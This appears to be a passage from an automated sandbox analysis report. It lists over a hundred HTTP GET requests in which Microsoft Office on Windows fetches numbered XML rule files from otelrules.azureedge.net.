Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule90401v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
